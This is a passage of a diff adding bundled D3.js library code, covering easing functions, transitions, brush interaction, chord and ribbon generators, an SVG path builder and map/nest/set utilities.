* t * ((s + 1) * t + s) + 1; + } + + backOut.overshoot = custom; + + return backOut; +})(overshoot); + +var backInOut = (function custom(s) { + s = +s; + + function backInOut(t) { + return ((t *= 2) < 1 ? t * t * ((s + 1) * t - s) : (t -= 2) * t * ((s + 1) * t + s) + 2) / 2; + } + + backInOut.overshoot = custom; + + return backInOut; +})(overshoot); + +var tau = 2 * Math.PI, + amplitude = 1, + period = 0.3; + +var elasticIn = (function custom(a, p) { + var s = Math.asin(1 / (a = Math.max(1, a))) * (p /= tau); + + function elasticIn(t) { + return a * Math.pow(2, 10 * --t) * Math.sin((s - t) / p); + } + + elasticIn.amplitude = function(a) { return custom(a, p * tau); }; + elasticIn.period = function(p) { return custom(a, p); }; + + return elasticIn; +})(amplitude, period); + +var elasticOut = (function custom(a, p) { + var s = Math.asin(1 / (a = Math.max(1, a))) * (p /= tau); + + function elasticOut(t) { + return 1 - a * Math.pow(2, -10 * (t = +t)) * Math.sin((t + s) / p); + } + + elasticOut.amplitude = function(a) { return custom(a, p * tau); }; + elasticOut.period = function(p) { return custom(a, p); }; + + return elasticOut; +})(amplitude, period); + +var elasticInOut = (function custom(a, p) { + var s = Math.asin(1 / (a = Math.max(1, a))) * (p /= tau); + + function elasticInOut(t) { + return ((t = t * 2 - 1) < 0 + ? a * Math.pow(2, 10 * t) * Math.sin((s - t) / p) + : 2 - a * Math.pow(2, -10 * t) * Math.sin((s + t) / p)) / 2; + } + + elasticInOut.amplitude = function(a) { return custom(a, p * tau); }; + elasticInOut.period = function(p) { return custom(a, p); }; + + return elasticInOut; +})(amplitude, period); + +var defaultTiming = { + time: null, // Set on use. + delay: 0, + duration: 250, + ease: cubicInOut +}; + +function inherit(node, id) { + var timing; + while (!(timing = node.__transition) || !(timing = timing[id])) { + if (!(node = node.parentNode)) { + return defaultTiming.time = now(), defaultTiming; + } + } + return timing; +} + +function selection_transition(name) { + var id, + timing; + + if (name instanceof Transition) { + id = name._id, name = name._name; + } else { + id = newId(), (timing = defaultTiming).time = now(), name = name == null ? null : name + ""; + } + + for (var groups = this._groups, m = groups.length, j = 0; j < m; ++j) { + for (var group = groups[j], n = group.length, node, i = 0; i < n; ++i) { + if (node = group[i]) { + schedule(node, name, id, i, group, timing || inherit(node, id)); + } + } + } + + return new Transition(groups, this._parents, name, id); +} + +selection.prototype.interrupt = selection_interrupt; +selection.prototype.transition = selection_transition; + +var root$1 = [null]; + +function active(node, name) { + var schedules = node.__transition, + schedule, + i; + + if (schedules) { + name = name == null ? null : name + ""; + for (i in schedules) { + if ((schedule = schedules[i]).state > SCHEDULED && schedule.name === name) { + return new Transition([[node]], root$1, name, +i); + } + } + } + + return null; +} + +function constant$4(x) { + return function() { + return x; + }; +} + +function BrushEvent(target, type, selection) { + this.target = target; + this.type = type; + this.selection = selection; +} + +function nopropagation$1() { + exports.event.stopImmediatePropagation(); +} + +function noevent$1() { + exports.event.preventDefault(); + exports.event.stopImmediatePropagation(); +} + +var MODE_DRAG = {name: "drag"}, + MODE_SPACE = {name: "space"}, + MODE_HANDLE = {name: "handle"}, + MODE_CENTER = {name: "center"}; + +function number1(e) { + return [+e[0], +e[1]]; +} + +function number2(e) { + return [number1(e[0]), number1(e[1])]; +} + +function toucher(identifier) { + return function(target) { + return touch(target, exports.event.touches, identifier); + }; +} + +var X = { + name: "x", + handles: ["w", "e"].map(type), + input: function(x, e) { return x == null ? null : [[+x[0], e[0][1]], [+x[1], e[1][1]]]; }, + output: function(xy) { return xy && [xy[0][0], xy[1][0]]; } +}; + +var Y = { + name: "y", + handles: ["n", "s"].map(type), + input: function(y, e) { return y == null ? null : [[e[0][0], +y[0]], [e[1][0], +y[1]]]; }, + output: function(xy) { return xy && [xy[0][1], xy[1][1]]; } +}; + +var XY = { + name: "xy", + handles: ["n", "w", "e", "s", "nw", "ne", "sw", "se"].map(type), + input: function(xy) { return xy == null ? null : number2(xy); }, + output: function(xy) { return xy; } +}; + +var cursors = { + overlay: "crosshair", + selection: "move", + n: "ns-resize", + e: "ew-resize", + s: "ns-resize", + w: "ew-resize", + nw: "nwse-resize", + ne: "nesw-resize", + se: "nwse-resize", + sw: "nesw-resize" +}; + +var flipX = { + e: "w", + w: "e", + nw: "ne", + ne: "nw", + se: "sw", + sw: "se" +}; + +var flipY = { + n: "s", + s: "n", + nw: "sw", + ne: "se", + se: "ne", + sw: "nw" +}; + +var signsX = { + overlay: +1, + selection: +1, + n: null, + e: +1, + s: null, + w: -1, + nw: -1, + ne: +1, + se: +1, + sw: -1 +}; + +var signsY = { + overlay: +1, + selection: +1, + n: -1, + e: null, + s: +1, + w: null, + nw: -1, + ne: -1, + se: +1, + sw: +1 +}; + +function type(t) { + return {type: t}; +} + +// Ignore right-click, since that should open the context menu. +function defaultFilter$1() { + return !exports.event.ctrlKey && !exports.event.button; +} + +function defaultExtent() { + var svg = this.ownerSVGElement || this; + if (svg.hasAttribute("viewBox")) { + svg = svg.viewBox.baseVal; + return [[svg.x, svg.y], [svg.x + svg.width, svg.y + svg.height]]; + } + return [[0, 0], [svg.width.baseVal.value, svg.height.baseVal.value]]; +} + +function defaultTouchable$1() { + return navigator.maxTouchPoints || ("ontouchstart" in this); +} + +// Like d3.local, but with the name “__brush” rather than auto-generated. +function local$1(node) { + while (!node.__brush) if (!(node = node.parentNode)) return; + return node.__brush; +} + +function empty$1(extent) { + return extent[0][0] === extent[1][0] + || extent[0][1] === extent[1][1]; +} + +function brushSelection(node) { + var state = node.__brush; + return state ? state.dim.output(state.selection) : null; +} + +function brushX() { + return brush$1(X); +} + +function brushY() { + return brush$1(Y); +} + +function brush() { + return brush$1(XY); +} + +function brush$1(dim) { + var extent = defaultExtent, + filter = defaultFilter$1, + touchable = defaultTouchable$1, + keys = true, + listeners = dispatch("start", "brush", "end"), + handleSize = 6, + touchending; + + function brush(group) { + var overlay = group + .property("__brush", initialize) + .selectAll(".overlay") + .data([type("overlay")]); + + overlay.enter().append("rect") + .attr("class", "overlay") + .attr("pointer-events", "all") + .attr("cursor", cursors.overlay) + .merge(overlay) + .each(function() { + var extent = local$1(this).extent; + select(this) + .attr("x", extent[0][0]) + .attr("y", extent[0][1]) + .attr("width", extent[1][0] - extent[0][0]) + .attr("height", extent[1][1] - extent[0][1]); + }); + + group.selectAll(".selection") + .data([type("selection")]) + .enter().append("rect") + .attr("class", "selection") + .attr("cursor", cursors.selection) + .attr("fill", "#777") + .attr("fill-opacity", 0.3) + .attr("stroke", "#fff") + .attr("shape-rendering", "crispEdges"); + + var handle = group.selectAll(".handle") + .data(dim.handles, function(d) { return d.type; }); + + handle.exit().remove(); + + handle.enter().append("rect") + .attr("class", function(d) { return "handle handle--" + d.type; }) + .attr("cursor", function(d) { return cursors[d.type]; }); + + group + .each(redraw) + .attr("fill", "none") + .attr("pointer-events", "all") + .on("mousedown.brush", started) + .filter(touchable) + .on("touchstart.brush", started) + .on("touchmove.brush", touchmoved) + .on("touchend.brush touchcancel.brush", touchended) + .style("touch-action", "none") + .style("-webkit-tap-highlight-color", "rgba(0,0,0,0)"); + } + + brush.move = function(group, selection) { + if (group.selection) { + group + .on("start.brush", function() { emitter(this, arguments).beforestart().start(); }) + .on("interrupt.brush end.brush", function() { emitter(this, arguments).end(); }) + .tween("brush", function() { + var that = this, + state = that.__brush, + emit = emitter(that, arguments), + selection0 = state.selection, + selection1 = dim.input(typeof selection === "function" ? selection.apply(this, arguments) : selection, state.extent), + i = interpolateValue(selection0, selection1); + + function tween(t) { + state.selection = t === 1 && selection1 === null ? null : i(t); + redraw.call(that); + emit.brush(); + } + + return selection0 !== null && selection1 !== null ? tween : tween(1); + }); + } else { + group + .each(function() { + var that = this, + args = arguments, + state = that.__brush, + selection1 = dim.input(typeof selection === "function" ? selection.apply(that, args) : selection, state.extent), + emit = emitter(that, args).beforestart(); + + interrupt(that); + state.selection = selection1 === null ? null : selection1; + redraw.call(that); + emit.start().brush().end(); + }); + } + }; + + brush.clear = function(group) { + brush.move(group, null); + }; + + function redraw() { + var group = select(this), + selection = local$1(this).selection; + + if (selection) { + group.selectAll(".selection") + .style("display", null) + .attr("x", selection[0][0]) + .attr("y", selection[0][1]) + .attr("width", selection[1][0] - selection[0][0]) + .attr("height", selection[1][1] - selection[0][1]); + + group.selectAll(".handle") + .style("display", null) + .attr("x", function(d) { return d.type[d.type.length - 1] === "e" ? selection[1][0] - handleSize / 2 : selection[0][0] - handleSize / 2; }) + .attr("y", function(d) { return d.type[0] === "s" ? selection[1][1] - handleSize / 2 : selection[0][1] - handleSize / 2; }) + .attr("width", function(d) { return d.type === "n" || d.type === "s" ? selection[1][0] - selection[0][0] + handleSize : handleSize; }) + .attr("height", function(d) { return d.type === "e" || d.type === "w" ? selection[1][1] - selection[0][1] + handleSize : handleSize; }); + } + + else { + group.selectAll(".selection,.handle") + .style("display", "none") + .attr("x", null) + .attr("y", null) + .attr("width", null) + .attr("height", null); + } + } + + function emitter(that, args, clean) { + return (!clean && that.__brush.emitter) || new Emitter(that, args); + } + + function Emitter(that, args) { + this.that = that; + this.args = args; + this.state = that.__brush; + this.active = 0; + } + + Emitter.prototype = { + beforestart: function() { + if (++this.active === 1) this.state.emitter = this, this.starting = true; + return this; + }, + start: function() { + if (this.starting) this.starting = false, this.emit("start"); + else this.emit("brush"); + return this; + }, + brush: function() { + this.emit("brush"); + return this; + }, + end: function() { + if (--this.active === 0) delete this.state.emitter, this.emit("end"); + return this; + }, + emit: function(type) { + customEvent(new BrushEvent(brush, type, dim.output(this.state.selection)), listeners.apply, listeners, [type, this.that, this.args]); + } + }; + + function started() { + if (touchending && !exports.event.touches) return; + if (!filter.apply(this, arguments)) return; + + var that = this, + type = exports.event.target.__data__.type, + mode = (keys && exports.event.metaKey ? type = "overlay" : type) === "selection" ? MODE_DRAG : (keys && exports.event.altKey ? MODE_CENTER : MODE_HANDLE), + signX = dim === Y ? null : signsX[type], + signY = dim === X ? null : signsY[type], + state = local$1(that), + extent = state.extent, + selection = state.selection, + W = extent[0][0], w0, w1, + N = extent[0][1], n0, n1, + E = extent[1][0], e0, e1, + S = extent[1][1], s0, s1, + dx = 0, + dy = 0, + moving, + shifting = signX && signY && keys && exports.event.shiftKey, + lockX, + lockY, + pointer = exports.event.touches ? toucher(exports.event.changedTouches[0].identifier) : mouse, + point0 = pointer(that), + point = point0, + emit = emitter(that, arguments, true).beforestart(); + + if (type === "overlay") { + if (selection) moving = true; + state.selection = selection = [ + [w0 = dim === Y ? W : point0[0], n0 = dim === X ? N : point0[1]], + [e0 = dim === Y ? E : w0, s0 = dim === X ? S : n0] + ]; + } else { + w0 = selection[0][0]; + n0 = selection[0][1]; + e0 = selection[1][0]; + s0 = selection[1][1]; + } + + w1 = w0; + n1 = n0; + e1 = e0; + s1 = s0; + + var group = select(that) + .attr("pointer-events", "none"); + + var overlay = group.selectAll(".overlay") + .attr("cursor", cursors[type]); + + if (exports.event.touches) { + emit.moved = moved; + emit.ended = ended; + } else { + var view = select(exports.event.view) + .on("mousemove.brush", moved, true) + .on("mouseup.brush", ended, true); + if (keys) view + .on("keydown.brush", keydowned, true) + .on("keyup.brush", keyupped, true); + + dragDisable(exports.event.view); + } + + nopropagation$1(); + interrupt(that); + redraw.call(that); + emit.start(); + + function moved() { + var point1 = pointer(that); + if (shifting && !lockX && !lockY) { + if (Math.abs(point1[0] - point[0]) > Math.abs(point1[1] - point[1])) lockY = true; + else lockX = true; + } + point = point1; + moving = true; + noevent$1(); + move(); + } + + function move() { + var t; + + dx = point[0] - point0[0]; + dy = point[1] - point0[1]; + + switch (mode) { + case MODE_SPACE: + case MODE_DRAG: { + if (signX) dx = Math.max(W - w0, Math.min(E - e0, dx)), w1 = w0 + dx, e1 = e0 + dx; + if (signY) dy = Math.max(N - n0, Math.min(S - s0, dy)), n1 = n0 + dy, s1 = s0 + dy; + break; + } + case MODE_HANDLE: { + if (signX < 0) dx = Math.max(W - w0, Math.min(E - w0, dx)), w1 = w0 + dx, e1 = e0; + else if (signX > 0) dx = Math.max(W - e0, Math.min(E - e0, dx)), w1 = w0, e1 = e0 + dx; + if (signY < 0) dy = Math.max(N - n0, Math.min(S - n0, dy)), n1 = n0 + dy, s1 = s0; + else if (signY > 0) dy = Math.max(N - s0, Math.min(S - s0, dy)), n1 = n0, s1 = s0 + dy; + break; + } + case MODE_CENTER: { + if (signX) w1 = Math.max(W, Math.min(E, w0 - dx * signX)), e1 = Math.max(W, Math.min(E, e0 + dx * signX)); + if (signY) n1 = Math.max(N, Math.min(S, n0 - dy * signY)), s1 = Math.max(N, Math.min(S, s0 + dy * signY)); + break; + } + } + + if (e1 < w1) { + signX *= -1; + t = w0, w0 = e0, e0 = t; + t = w1, w1 = e1, e1 = t; + if (type in flipX) overlay.attr("cursor", cursors[type = flipX[type]]); + } + + if (s1 < n1) { + signY *= -1; + t = n0, n0 = s0, s0 = t; + t = n1, n1 = s1, s1 = t; + if (type in flipY) overlay.attr("cursor", cursors[type = flipY[type]]); + } + + if (state.selection) selection = state.selection; // May be set by brush.move! + if (lockX) w1 = selection[0][0], e1 = selection[1][0]; + if (lockY) n1 = selection[0][1], s1 = selection[1][1]; + + if (selection[0][0] !== w1 + || selection[0][1] !== n1 + || selection[1][0] !== e1 + || selection[1][1] !== s1) { + state.selection = [[w1, n1], [e1, s1]]; + redraw.call(that); + emit.brush(); + } + } + + function ended() { + nopropagation$1(); + if (exports.event.touches) { + if (exports.event.touches.length) return; + if (touchending) clearTimeout(touchending); + touchending = setTimeout(function() { touchending = null; }, 500); // Ghost clicks are delayed! + } else { + yesdrag(exports.event.view, moving); + view.on("keydown.brush keyup.brush mousemove.brush mouseup.brush", null); + } + group.attr("pointer-events", "all"); + overlay.attr("cursor", cursors.overlay); + if (state.selection) selection = state.selection; // May be set by brush.move (on start)! + if (empty$1(selection)) state.selection = null, redraw.call(that); + emit.end(); + } + + function keydowned() { + switch (exports.event.keyCode) { + case 16: { // SHIFT + shifting = signX && signY; + break; + } + case 18: { // ALT + if (mode === MODE_HANDLE) { + if (signX) e0 = e1 - dx * signX, w0 = w1 + dx * signX; + if (signY) s0 = s1 - dy * signY, n0 = n1 + dy * signY; + mode = MODE_CENTER; + move(); + } + break; + } + case 32: { // SPACE; takes priority over ALT + if (mode === MODE_HANDLE || mode === MODE_CENTER) { + if (signX < 0) e0 = e1 - dx; else if (signX > 0) w0 = w1 - dx; + if (signY < 0) s0 = s1 - dy; else if (signY > 0) n0 = n1 - dy; + mode = MODE_SPACE; + overlay.attr("cursor", cursors.selection); + move(); + } + break; + } + default: return; + } + noevent$1(); + } + + function keyupped() { + switch (exports.event.keyCode) { + case 16: { // SHIFT + if (shifting) { + lockX = lockY = shifting = false; + move(); + } + break; + } + case 18: { // ALT + if (mode === MODE_CENTER) { + if (signX < 0) e0 = e1; else if (signX > 0) w0 = w1; + if (signY < 0) s0 = s1; else if (signY > 0) n0 = n1; + mode = MODE_HANDLE; + move(); + } + break; + } + case 32: { // SPACE + if (mode === MODE_SPACE) { + if (exports.event.altKey) { + if (signX) e0 = e1 - dx * signX, w0 = w1 + dx * signX; + if (signY) s0 = s1 - dy * signY, n0 = n1 + dy * signY; + mode = MODE_CENTER; + } else { + if (signX < 0) e0 = e1; else if (signX > 0) w0 = w1; + if (signY < 0) s0 = s1; else if (signY > 0) n0 = n1; + mode = MODE_HANDLE; + } + overlay.attr("cursor", cursors[type]); + move(); + } + break; + } + default: return; + } + noevent$1(); + } + } + + function touchmoved() { + emitter(this, arguments).moved(); + } + + function touchended() { + emitter(this, arguments).ended(); + } + + function initialize() { + var state = this.__brush || {selection: null}; + state.extent = number2(extent.apply(this, arguments)); + state.dim = dim; + return state; + } + + brush.extent = function(_) { + return arguments.length ? (extent = typeof _ === "function" ? _ : constant$4(number2(_)), brush) : extent; + }; + + brush.filter = function(_) { + return arguments.length ? (filter = typeof _ === "function" ? _ : constant$4(!!_), brush) : filter; + }; + + brush.touchable = function(_) { + return arguments.length ? (touchable = typeof _ === "function" ? _ : constant$4(!!_), brush) : touchable; + }; + + brush.handleSize = function(_) { + return arguments.length ? (handleSize = +_, brush) : handleSize; + }; + + brush.keyModifiers = function(_) { + return arguments.length ? (keys = !!_, brush) : keys; + }; + + brush.on = function() { + var value = listeners.on.apply(listeners, arguments); + return value === listeners ? brush : value; + }; + + return brush; +} + +var cos = Math.cos; +var sin = Math.sin; +var pi$1 = Math.PI; +var halfPi$1 = pi$1 / 2; +var tau$1 = pi$1 * 2; +var max$1 = Math.max; + +function compareValue(compare) { + return function(a, b) { + return compare( + a.source.value + a.target.value, + b.source.value + b.target.value + ); + }; +} + +function chord() { + var padAngle = 0, + sortGroups = null, + sortSubgroups = null, + sortChords = null; + + function chord(matrix) { + var n = matrix.length, + groupSums = [], + groupIndex = sequence(n), + subgroupIndex = [], + chords = [], + groups = chords.groups = new Array(n), + subgroups = new Array(n * n), + k, + x, + x0, + dx, + i, + j; + + // Compute the sum. + k = 0, i = -1; while (++i < n) { + x = 0, j = -1; while (++j < n) { + x += matrix[i][j]; + } + groupSums.push(x); + subgroupIndex.push(sequence(n)); + k += x; + } + + // Sort groups… + if (sortGroups) groupIndex.sort(function(a, b) { + return sortGroups(groupSums[a], groupSums[b]); + }); + + // Sort subgroups… + if (sortSubgroups) subgroupIndex.forEach(function(d, i) { + d.sort(function(a, b) { + return sortSubgroups(matrix[i][a], matrix[i][b]); + }); + }); + + // Convert the sum to scaling factor for [0, 2pi]. + // TODO Allow start and end angle to be specified? + // TODO Allow padding to be specified as percentage? + k = max$1(0, tau$1 - padAngle * n) / k; + dx = k ? padAngle : tau$1 / n; + + // Compute the start and end angle for each group and subgroup. + // Note: Opera has a bug reordering object literal properties! + x = 0, i = -1; while (++i < n) { + x0 = x, j = -1; while (++j < n) { + var di = groupIndex[i], + dj = subgroupIndex[di][j], + v = matrix[di][dj], + a0 = x, + a1 = x += v * k; + subgroups[dj * n + di] = { + index: di, + subindex: dj, + startAngle: a0, + endAngle: a1, + value: v + }; + } + groups[di] = { + index: di, + startAngle: x0, + endAngle: x, + value: groupSums[di] + }; + x += dx; + } + + // Generate chords for each (non-empty) subgroup-subgroup link. + i = -1; while (++i < n) { + j = i - 1; while (++j < n) { + var source = subgroups[j * n + i], + target = subgroups[i * n + j]; + if (source.value || target.value) { + chords.push(source.value < target.value + ? {source: target, target: source} + : {source: source, target: target}); + } + } + } + + return sortChords ? chords.sort(sortChords) : chords; + } + + chord.padAngle = function(_) { + return arguments.length ? (padAngle = max$1(0, _), chord) : padAngle; + }; + + chord.sortGroups = function(_) { + return arguments.length ? (sortGroups = _, chord) : sortGroups; + }; + + chord.sortSubgroups = function(_) { + return arguments.length ? (sortSubgroups = _, chord) : sortSubgroups; + }; + + chord.sortChords = function(_) { + return arguments.length ? (_ == null ? sortChords = null : (sortChords = compareValue(_))._ = _, chord) : sortChords && sortChords._; + }; + + return chord; +} + +var slice$2 = Array.prototype.slice; + +function constant$5(x) { + return function() { + return x; + }; +} + +var pi$2 = Math.PI, + tau$2 = 2 * pi$2, + epsilon$1 = 1e-6, + tauEpsilon = tau$2 - epsilon$1; + +function Path() { + this._x0 = this._y0 = // start of current subpath + this._x1 = this._y1 = null; // end of current subpath + this._ = ""; +} + +function path() { + return new Path; +} + +Path.prototype = path.prototype = { + constructor: Path, + moveTo: function(x, y) { + this._ += "M" + (this._x0 = this._x1 = +x) + "," + (this._y0 = this._y1 = +y); + }, + closePath: function() { + if (this._x1 !== null) { + this._x1 = this._x0, this._y1 = this._y0; + this._ += "Z"; + } + }, + lineTo: function(x, y) { + this._ += "L" + (this._x1 = +x) + "," + (this._y1 = +y); + }, + quadraticCurveTo: function(x1, y1, x, y) { + this._ += "Q" + (+x1) + "," + (+y1) + "," + (this._x1 = +x) + "," + (this._y1 = +y); + }, + bezierCurveTo: function(x1, y1, x2, y2, x, y) { + this._ += "C" + (+x1) + "," + (+y1) + "," + (+x2) + "," + (+y2) + "," + (this._x1 = +x) + "," + (this._y1 = +y); + }, + arcTo: function(x1, y1, x2, y2, r) { + x1 = +x1, y1 = +y1, x2 = +x2, y2 = +y2, r = +r; + var x0 = this._x1, + y0 = this._y1, + x21 = x2 - x1, + y21 = y2 - y1, + x01 = x0 - x1, + y01 = y0 - y1, + l01_2 = x01 * x01 + y01 * y01; + + // Is the radius negative? Error. + if (r < 0) throw new Error("negative radius: " + r); + + // Is this path empty? Move to (x1,y1). + if (this._x1 === null) { + this._ += "M" + (this._x1 = x1) + "," + (this._y1 = y1); + } + + // Or, is (x1,y1) coincident with (x0,y0)? Do nothing. + else if (!(l01_2 > epsilon$1)); + + // Or, are (x0,y0), (x1,y1) and (x2,y2) collinear? + // Equivalently, is (x1,y1) coincident with (x2,y2)? + // Or, is the radius zero? Line to (x1,y1). + else if (!(Math.abs(y01 * x21 - y21 * x01) > epsilon$1) || !r) { + this._ += "L" + (this._x1 = x1) + "," + (this._y1 = y1); + } + + // Otherwise, draw an arc! + else { + var x20 = x2 - x0, + y20 = y2 - y0, + l21_2 = x21 * x21 + y21 * y21, + l20_2 = x20 * x20 + y20 * y20, + l21 = Math.sqrt(l21_2), + l01 = Math.sqrt(l01_2), + l = r * Math.tan((pi$2 - Math.acos((l21_2 + l01_2 - l20_2) / (2 * l21 * l01))) / 2), + t01 = l / l01, + t21 = l / l21; + + // If the start tangent is not coincident with (x0,y0), line to. + if (Math.abs(t01 - 1) > epsilon$1) { + this._ += "L" + (x1 + t01 * x01) + "," + (y1 + t01 * y01); + } + + this._ += "A" + r + "," + r + ",0,0," + (+(y01 * x20 > x01 * y20)) + "," + (this._x1 = x1 + t21 * x21) + "," + (this._y1 = y1 + t21 * y21); + } + }, + arc: function(x, y, r, a0, a1, ccw) { + x = +x, y = +y, r = +r, ccw = !!ccw; + var dx = r * Math.cos(a0), + dy = r * Math.sin(a0), + x0 = x + dx, + y0 = y + dy, + cw = 1 ^ ccw, + da = ccw ? a0 - a1 : a1 - a0; + + // Is the radius negative? Error. + if (r < 0) throw new Error("negative radius: " + r); + + // Is this path empty? Move to (x0,y0). + if (this._x1 === null) { + this._ += "M" + x0 + "," + y0; + } + + // Or, is (x0,y0) not coincident with the previous point? Line to (x0,y0). + else if (Math.abs(this._x1 - x0) > epsilon$1 || Math.abs(this._y1 - y0) > epsilon$1) { + this._ += "L" + x0 + "," + y0; + } + + // Is this arc empty? We’re done. + if (!r) return; + + // Does the angle go the wrong way? Flip the direction. + if (da < 0) da = da % tau$2 + tau$2; + + // Is this a complete circle? Draw two arcs to complete the circle. + if (da > tauEpsilon) { + this._ += "A" + r + "," + r + ",0,1," + cw + "," + (x - dx) + "," + (y - dy) + "A" + r + "," + r + ",0,1," + cw + "," + (this._x1 = x0) + "," + (this._y1 = y0); + } + + // Is this arc non-empty? Draw an arc! + else if (da > epsilon$1) { + this._ += "A" + r + "," + r + ",0," + (+(da >= pi$2)) + "," + cw + "," + (this._x1 = x + r * Math.cos(a1)) + "," + (this._y1 = y + r * Math.sin(a1)); + } + }, + rect: function(x, y, w, h) { + this._ += "M" + (this._x0 = this._x1 = +x) + "," + (this._y0 = this._y1 = +y) + "h" + (+w) + "v" + (+h) + "h" + (-w) + "Z"; + }, + toString: function() { + return this._; + } +}; + +function defaultSource(d) { + return d.source; +} + +function defaultTarget(d) { + return d.target; +} + +function defaultRadius(d) { + return d.radius; +} + +function defaultStartAngle(d) { + return d.startAngle; +} + +function defaultEndAngle(d) { + return d.endAngle; +} + +function ribbon() { + var source = defaultSource, + target = defaultTarget, + radius = defaultRadius, + startAngle = defaultStartAngle, + endAngle = defaultEndAngle, + context = null; + + function ribbon() { + var buffer, + argv = slice$2.call(arguments), + s = source.apply(this, argv), + t = target.apply(this, argv), + sr = +radius.apply(this, (argv[0] = s, argv)), + sa0 = startAngle.apply(this, argv) - halfPi$1, + sa1 = endAngle.apply(this, argv) - halfPi$1, + sx0 = sr * cos(sa0), + sy0 = sr * sin(sa0), + tr = +radius.apply(this, (argv[0] = t, argv)), + ta0 = startAngle.apply(this, argv) - halfPi$1, + ta1 = endAngle.apply(this, argv) - halfPi$1; + + if (!context) context = buffer = path(); + + context.moveTo(sx0, sy0); + context.arc(0, 0, sr, sa0, sa1); + if (sa0 !== ta0 || sa1 !== ta1) { // TODO sr !== tr? + context.quadraticCurveTo(0, 0, tr * cos(ta0), tr * sin(ta0)); + context.arc(0, 0, tr, ta0, ta1); + } + context.quadraticCurveTo(0, 0, sx0, sy0); + context.closePath(); + + if (buffer) return context = null, buffer + "" || null; + } + + ribbon.radius = function(_) { + return arguments.length ? (radius = typeof _ === "function" ? _ : constant$5(+_), ribbon) : radius; + }; + + ribbon.startAngle = function(_) { + return arguments.length ? (startAngle = typeof _ === "function" ? _ : constant$5(+_), ribbon) : startAngle; + }; + + ribbon.endAngle = function(_) { + return arguments.length ? (endAngle = typeof _ === "function" ? _ : constant$5(+_), ribbon) : endAngle; + }; + + ribbon.source = function(_) { + return arguments.length ? (source = _, ribbon) : source; + }; + + ribbon.target = function(_) { + return arguments.length ? (target = _, ribbon) : target; + }; + + ribbon.context = function(_) { + return arguments.length ? ((context = _ == null ? null : _), ribbon) : context; + }; + + return ribbon; +} + +var prefix = "$"; + +function Map() {} + +Map.prototype = map$1.prototype = { + constructor: Map, + has: function(key) { + return (prefix + key) in this; + }, + get: function(key) { + return this[prefix + key]; + }, + set: function(key, value) { + this[prefix + key] = value; + return this; + }, + remove: function(key) { + var property = prefix + key; + return property in this && delete this[property]; + }, + clear: function() { + for (var property in this) if (property[0] === prefix) delete this[property]; + }, + keys: function() { + var keys = []; + for (var property in this) if (property[0] === prefix) keys.push(property.slice(1)); + return keys; + }, + values: function() { + var values = []; + for (var property in this) if (property[0] === prefix) values.push(this[property]); + return values; + }, + entries: function() { + var entries = []; + for (var property in this) if (property[0] === prefix) entries.push({key: property.slice(1), value: this[property]}); + return entries; + }, + size: function() { + var size = 0; + for (var property in this) if (property[0] === prefix) ++size; + return size; + }, + empty: function() { + for (var property in this) if (property[0] === prefix) return false; + return true; + }, + each: function(f) { + for (var property in this) if (property[0] === prefix) f(this[property], property.slice(1), this); + } +}; + +function map$1(object, f) { + var map = new Map; + + // Copy constructor. + if (object instanceof Map) object.each(function(value, key) { map.set(key, value); }); + + // Index array by numeric index or specified key function. + else if (Array.isArray(object)) { + var i = -1, + n = object.length, + o; + + if (f == null) while (++i < n) map.set(i, object[i]); + else while (++i < n) map.set(f(o = object[i], i, object), o); + } + + // Convert object to map. + else if (object) for (var key in object) map.set(key, object[key]); + + return map; +} + +function nest() { + var keys = [], + sortKeys = [], + sortValues, + rollup, + nest; + + function apply(array, depth, createResult, setResult) { + if (depth >= keys.length) { + if (sortValues != null) array.sort(sortValues); + return rollup != null ? rollup(array) : array; + } + + var i = -1, + n = array.length, + key = keys[depth++], + keyValue, + value, + valuesByKey = map$1(), + values, + result = createResult(); + + while (++i < n) { + if (values = valuesByKey.get(keyValue = key(value = array[i]) + "")) { + values.push(value); + } else { + valuesByKey.set(keyValue, [value]); + } + } + + valuesByKey.each(function(values, key) { + setResult(result, key, apply(values, depth, createResult, setResult)); + }); + + return result; + } + + function entries(map, depth) { + if (++depth > keys.length) return map; + var array, sortKey = sortKeys[depth - 1]; + if (rollup != null && depth >= keys.length) array = map.entries(); + else array = [], map.each(function(v, k) { array.push({key: k, values: entries(v, depth)}); }); + return sortKey != null ? array.sort(function(a, b) { return sortKey(a.key, b.key); }) : array; + } + + return nest = { + object: function(array) { return apply(array, 0, createObject, setObject); }, + map: function(array) { return apply(array, 0, createMap, setMap); }, + entries: function(array) { return entries(apply(array, 0, createMap, setMap), 0); }, + key: function(d) { keys.push(d); return nest; }, + sortKeys: function(order) { sortKeys[keys.length - 1] = order; return nest; }, + sortValues: function(order) { sortValues = order; return nest; }, + rollup: function(f) { rollup = f; return nest; } + }; +} + +function createObject() { + return {}; +} + +function setObject(object, key, value) { + object[key] = value; +} + +function createMap() { + return map$1(); +} + +function setMap(map, key, value) { + map.set(key, value); +} + +function Set() {} + +var proto = map$1.prototype; + +Set.prototype = set$2.prototype = { + constructor: Set, + has: proto.has, + add: function(value) { + value += ""; + this[prefix + value] = value; + return this; + }, + remove: proto.remove, + clear: proto.clear, + values: proto.keys, + size: proto.size, + empty: proto.empty, + each: proto.each +}; + +function set$2(object, f) { + var set = new Set; + + // Copy constructor. + if (object instanceof Set) object.each(function(value) { set.add(value); }); + + // Otherwise, assume it’s an array. + else if (object) { + var i = -1, n = object.length; + if (f == null) while (++i < n) set.add(object[i]); + else while (++i < n) set.add(f(object[i], i, object)); + } + + return set; +} + +function keys(map) { + var keys = []; + for (var key in map) keys.push(key); + return keys; +} + +function values(map) { + var values = []; + for (var key in map) values.push(map[key]); + return values; +} + +function entries(map) { + var entries = []; + for (var key in map) entries.push({key: key, value: map[key]}); + return entries; +} + +var array$2 = Array.prototype; + +var slice$3 = array$2.slice; + +function ascending$2(a, b) { + return a - b; +} + +function area(ring) { + var i = 0, n = ring.length, area = ring[n - 1][1] * ring[0][0] - ring[n - 1][0] * ring[0][1]; + while (++i < n) area += ring[i - 1][1] * ring[i][0] - ring[i - 1][0] * ring[i][1]; + return area; +} + +function constant$6(x) { + return function() { + return x; + }; +} + +function contains(ring, hole) { + var i = -1, n = hole.length, c; + while (++i < n) if (c = ringContains(ring, hole[i])) return c; + return 0; +} + +function ringContains(ring, point) { + var x = point[0], y = point[1], contains = -1; + for (var i = 0, n = ring.length, j = n - 1; i < n; j = i++) { + var pi = ring[i], xi = pi[0], yi = pi[1], pj = ring[j], xj = pj[0], yj = pj[1]; + if (segmentContains(pi, pj, point)) return 0; + if (((yi > y) !== (yj > y)) && ((x < (xj - xi) * (y - yi) / (yj - yi) + xi))) contains = 